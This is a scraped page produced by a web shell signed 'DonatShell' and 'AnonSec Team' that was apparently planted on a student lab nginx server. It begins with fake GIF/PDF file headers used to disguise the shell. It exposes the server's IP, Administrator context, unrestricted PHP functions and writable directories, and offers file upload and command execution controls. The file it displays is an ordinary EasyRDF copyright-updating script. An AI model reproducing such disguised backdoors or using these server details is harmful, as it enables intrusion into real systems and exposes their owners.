GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Student/JimMartinson/Lab12/drupal/vendor/easyrdf/easyrdf/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Student/JimMartinson/Lab12/drupal/vendor/easyrdf/easyrdf/scripts/copyright_updater.php
<?php

$ROOT = realpath(__DIR__ . '/..');

function process_file($path) {
    $year = date('Y', filemtime($path));
    $contents = file_get_contents($path);

    $copy_statements = 0;
    $output = '';
    foreach (preg_split("/[\r\n]/", $contents) as $line) {
        if (preg_match("/^(.+)Copyright\s+\(c\)\s+(\d+)-?(\d*) (Nicholas.+)$/", $line, $m)) {
            $copy_statements++;
            
            if ($m[2] != $year and $m[3] != $year) {
                // Change the line
                $line = "$m[1]Copyright (c) $m[2]-$year $m[4]";
            }
        }
        
        // Remove trailing whitespace
        $line = rtrim($line);
        $output .= "$line\n";
    }
    
    // Remove surplus line endings
    while (substr($output, -2) == "\n\n") {
        $output = substr($output, 0, -1);
    }

    if ($copy_statements == 0) {
        print "Warning: $path does not contain any copyright statements\n";
    } else {
        file_put_contents($path, $output);
    }
}


function process_directory($path) {
    $dir = opendir($path);
    
    while ($file = readdir($dir)) {
        if (substr($file, 0, 1) == '.') {
            continue;
        }

        $filepath = $path . '/' . $file;
        if (is_dir($filepath)) {
            process_directory($filepath);
        } elseif (is_file($filepath)) {
            if (substr($file, -4) == '.php') {
                process_file($filepath);
            }
        } else {
            print "Unknown type: $filepath\n";
        }
    }
    
    closedir($dir);   
}

process_directory($ROOT . '/examples');
process_directory($ROOT . '/lib');
process_directory($ROOT . '/test');

Anon7 - 2022
AnonSec Team